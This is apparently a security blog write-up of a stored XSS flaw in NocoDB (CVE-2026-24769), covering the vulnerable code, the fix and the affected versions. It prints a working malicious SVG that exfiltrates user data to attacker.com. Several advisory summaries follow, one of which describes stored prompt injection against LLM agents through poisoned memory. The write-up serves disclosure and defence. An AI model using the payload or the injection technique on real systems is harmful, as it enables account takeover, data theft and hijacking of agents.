Jan 29, 2026·6 min read·138 visits
NocoDB treated all 'images' as safe to preview, forgetting that SVGs are basically executable XML. Attackers can upload a weaponized SVG, wait for an admin to preview it, and steal their session tokens.
A critical Stored Cross-Site Scripting (XSS) vulnerability in NocoDB allows authenticated attackers to upload malicious SVG attachments. Due to lax MIME type checking and unsafe content disposition handling, these files execute arbitrary JavaScript in the victim's browser upon preview, leading to potential account takeover.
NocoDB is the darling of the open-source world right now. It promises to turn your boring MySQL or PostgreSQL database into a shiny, Airtable-like smart spreadsheet. It’s a "no-code" platform, which usually translates to "we abstracted away the complexity so you don't have to look at it." Unfortunately, abstraction often hides sins.
In this case, the sin lies in how NocoDB handles attachments. Like any good collaboration tool, it lets you upload files—PDFs, JPEGs, and yes, SVGs—and attach them to rows in your database. It even offers a handy "Preview" feature so you don't have to download every single receipt your finance team uploads.
But here's the catch: When you build a feature to display images inline, you better be absolutely certain that the "image" is actually a picture, and not a trojan horse made of XML and hatred. CVE-2026-24769 is what happens when a developer assumes that if a file type contains the word "image", it must be harmless.
The root of this vulnerability is a classic developer shortcut: string matching without context. In the web world, we have MIME types to tell us what a file is. image/jpeg is a photo. application/json is data. image/svg+xml is... well, it's complicated.
Scalable Vector Graphics (SVG) are not raster images like PNGs or JPGs. They are XML documents that describe lines, shapes, and colors. Crucially, the SVG standard supports the <script> tag and event handlers like onload. If a browser renders an SVG inline (i.e., not as a downloaded file), it parses that XML and executes any JavaScript it finds. It effectively becomes an HTML page.
NocoDB's logic for deciding whether to show a "Preview" button was simple. Too simple. It checked if the file's MIME type included the string "image".
> [!NOTE]
> The Logic Flaw:
> Does image/svg+xml include the word "image"? Yes.
> Is it safe to render inline? Absolutely not.
By treating SVGs the same way as JPEGs, NocoDB rolled out the red carpet for Stored XSS. The application essentially said, "Oh, it's an image? Go ahead and run whatever code is inside it in the context of my origin."
Let's look at the code that made this possible. The vulnerability existed in attachmentHelpers.ts. The developers needed a way to determine if a file was previewable. Their solution was this helper function:
// Vulnerable logic in attachmentHelpers.ts
const previewableMimeTypes = ['image', 'pdf', 'video', 'audio'];
export const isPreviewAllowed = (args: { mimetype?: string } = {}) => {
const { mimetype } = args;
if (!mimetype) return false;
// THE BUG: Loose substring matching
return previewableMimeTypes.some((type) => mimetype.includes(type));
};This is a lazy check. It matches image/png, sure, but it also matches image/svg+xml. Once the check passes, the frontend requests the file. This leads us to the second failure in attachments.controller.ts, where the server delivers the payload:
// Vulnerable endpoint in attachments.controller.ts
@Get('/dltemp/:param(*)')
async fileReadv3(@Param('param') param: string, @Res() res: Response) {
// THE BUG: Trusting query params for headers
res.setHeader('Content-Type', queryParams.contentType);
res.setHeader('Content-Disposition', queryParams.contentDisposition);
// Serving the raw file
res.sendFile(file.path);
}The server blindly accepts Content-Disposition: inline (often derived from client-side logic or query params) and serves the file with the image/svg+xml content type. This combination forces the browser to render the SVG instead of downloading it, triggering the XSS.
Exploiting this requires an authenticated account, but in a corporate environment using NocoDB, that's a low bar (think: a contractor or a low-level employee). The attacker simply creates a valid SVG file that contains a nasty surprise.
Here is what a weaponized logo.svg looks like:
<svg xmlns="http://www.w3.org/2000/svg"
onload="fetch('/api/v1/auth/user/me').then(r=>r.json()).then(d=>fetch('https://attacker.com/log?d='+btoa(JSON.stringify(d))))">
<rect width="100" height="100" fill="red" />
<script>
// Alternatively, just steal the token directly
// alert('XSS: ' + document.cookie);
</script>
<text x="10" y="50" font-family="Verdana" font-size="35" fill="blue">Hello Admin!</text>
</svg>The Attack Chain:
onload event fires immediately. The script fetches the victim's user details (including sensitive API keys if available in the dashboard context) and sends them to attacker.com.Because the script runs in the origin of the NocoDB instance, it bypasses Same-Origin Policy (SOP) protections.
You might be thinking, "So what? They popped an alert box." But in the context of a database management tool, XSS is catastrophic. NocoDB is often used to manage sensitive business data, customer lists, and internal secrets.
With XSS, an attacker can:
Authorisation header or session cookies, effectively becoming the victim.This isn't just a UI bug; it's a full compromise of the data stored within the platform.
The fix, implemented in version 0.301.0, is a lesson in being specific. The developers moved from a blocklist/loose-match approach to a strict allowlist approach.
Instead of checking if the MIME type includes "image", they now check if the MIME type is exactly one of the safe types (e.g., image/jpeg, image/png, image/gif). Crucially, image/svg+xml is excluded from the preview allowlist.
Furthermore, the backend controller was hardened. It no longer blindly trusts query parameters to set headers. It likely forces Content-Disposition: attachment for any file type that isn't on a strictly vetted safe list. This forces the browser to download the file rather than render it, neutering the XSS payload even if it is uploaded.
Lesson Learned: Never trust a file just because it claims to be an image. If it's XML-based, it's code.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P| Product | Affected Versions | Fixed Version |
|---|---|---|
NocoDB NocoDB | < 0.301.0 | 0.301.0 |
| Attribute | Detail |
|---|---|
| CVE ID | CVE-2026-24769 |
| CVSS Score | 8.5 (High) |
| Attack Vector | Network (Stored XSS) |
| CWE | CWE-79 (XSS) |
| Discovery | GitHub Security Lab AI |
| Exploit Status | PoC Available |
A vulnerability classified under CWE-116 (Improper Encoding or Escaping of Output) exists in memtomem-stm versions 0.1.0 through 0.1.33. The software acts as a Model Context Protocol (MCP) short-term memory proxy gateway for AI agent architectures. When surfacing retrieved memories and scratchpad items into downstream Large Language Model (LLM) context envelopes, the SurfacingFormatter component fails to properly sanitize untrusted memory attributes. An attacker with the ability to plant untrusted content into the agent's long-term or working memory store can inject arbitrary structural delimiters, close the <surfaced-memories> XML boundary prematurely, visually obscure instructions using Unicode bidirectional overrides, and execute stored prompt injection attacks against downstream LLM agents.
CVE-2026-77331 (GHSA-72jh-722p-rqr3) is a concurrency and session-state synchronization vulnerability in memtomem-stm, a short-term memory proxy gateway for AI agents. In versions 0.1.2 prior to 0.1.34, concurrent Model Context Protocol (MCP) Remote Procedure Call (RPC) failures or mid-flight task cancellations can initiate duplicate reconnect loops and permit dirty or cancelled transport sessions to be reused. This deficiency results in session-state integrity loss and local service degradation.
svglib versions prior to 2.3.1 contain an uncontrolled resource consumption vulnerability in the svg2rlg() renderer. When parsing SVG documents containing nested <use> elements, SvgRenderer.renderUse() recursively resolves and deep-copies referenced subtrees without enforcing a global expansion limit. Although the library detects and blocks direct circular references, an attacker can construct an acyclic directed reference graph with high fan-out (an SVG analogue to the XML Billion Laughs attack). Processing a crafted SVG payload of less than 2 KB triggers exponential node duplication, exhausting CPU and memory in applications that convert user-supplied SVGs or HTML documents embedding SVG content.
CVE-2026-132277 (also tracked as GHSA-q87h-c5m7-659j) is an uncontrolled resource consumption and algorithmic complexity vulnerability in the Inscriptis Python library (versions 2.0.0 through 2.7.5). When rendering sibling HTML table elements inside a block-level parent container, the parser fails to pop the parent block's inline padding prefix from the internal canvas prefix stack upon closing the block. Consequently, each subsequent sibling table inherits and accumulates the indentation prefixes of all preceding tables. This causes the output string length and memory allocation of get_text() to grow quadratically with the number of sibling tables, allowing a compact untrusted HTML payload to trigger denial of service via memory exhaustion.
CVE-2026-132276 (GHSA-53pm-wgxf-c6qf) is an algorithmic complexity and Regular Expression Denial of Service (ReDoS) vulnerability in the Python wcmatch wildcard and glob matching library prior to version 11.2. Under default flags, matching a non-matching attacker-controlled filename against a static developer-defined pattern containing multiple star (*) wildcards separated by literal delimiters causes polynomial-time backtracking O(n^k) in the compiled regular expression. A single 255-byte filename evaluated against a 5-star pattern consumes approximately 86 seconds of 100% CPU time, allowing unauthenticated attackers to induce severe availability degradation.
CVE-2026-122244 (GHSA-r2q3-7m4h-63qg) is a high-severity cross-privilege Stored Cross-Site Scripting (XSS) vulnerability in Budibase prior to version 3.50.0. The flaw occurs due to defective character escaping in the JSON formatter utility combined with raw HTML rendering via Svelte's {@html} directive in the Budibase Builder interface. A low-privileged application user or an unauthenticated form visitor can store malicious HTML markup in a shared datasource, which subsequently executes arbitrary JavaScript in the browser session of an administrator or application builder inspecting Handlebars formula bindings.